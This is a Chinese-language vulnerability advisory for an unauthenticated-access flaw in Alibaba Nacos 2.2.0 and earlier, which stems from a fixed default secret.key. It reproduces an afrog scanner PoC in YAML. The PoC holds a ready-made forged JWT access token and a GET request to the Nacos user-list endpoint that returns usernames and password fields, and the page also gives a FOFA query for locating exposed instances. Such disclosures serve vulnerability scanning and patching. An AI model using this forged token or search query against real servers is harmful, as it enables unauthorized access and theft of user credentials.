nacos-secret-default-key-unauth: Alibaba Nacos secret.key默认密钥 未授权访问漏洞

日期: 2025-08-01 | 影响软件: Alibaba Nacos | POC: 已公开

漏洞描述

Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞 Alibaba Nacos <= 2.2.0 fofa: app="NACOS"

PoC代码[已公开]

id: nacos-secret-default-key-unauth

info:
  name: Alibaba Nacos secret.key默认密钥 未授权访问漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞
    Alibaba Nacos <= 2.2.0
    fofa: app="NACOS"
  tags: nacos,unauth
  created: 2024/07/20

rules:
  r0:
    request:
      method: GET
      path: /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/nacos-secret-default-key-unauth.yaml

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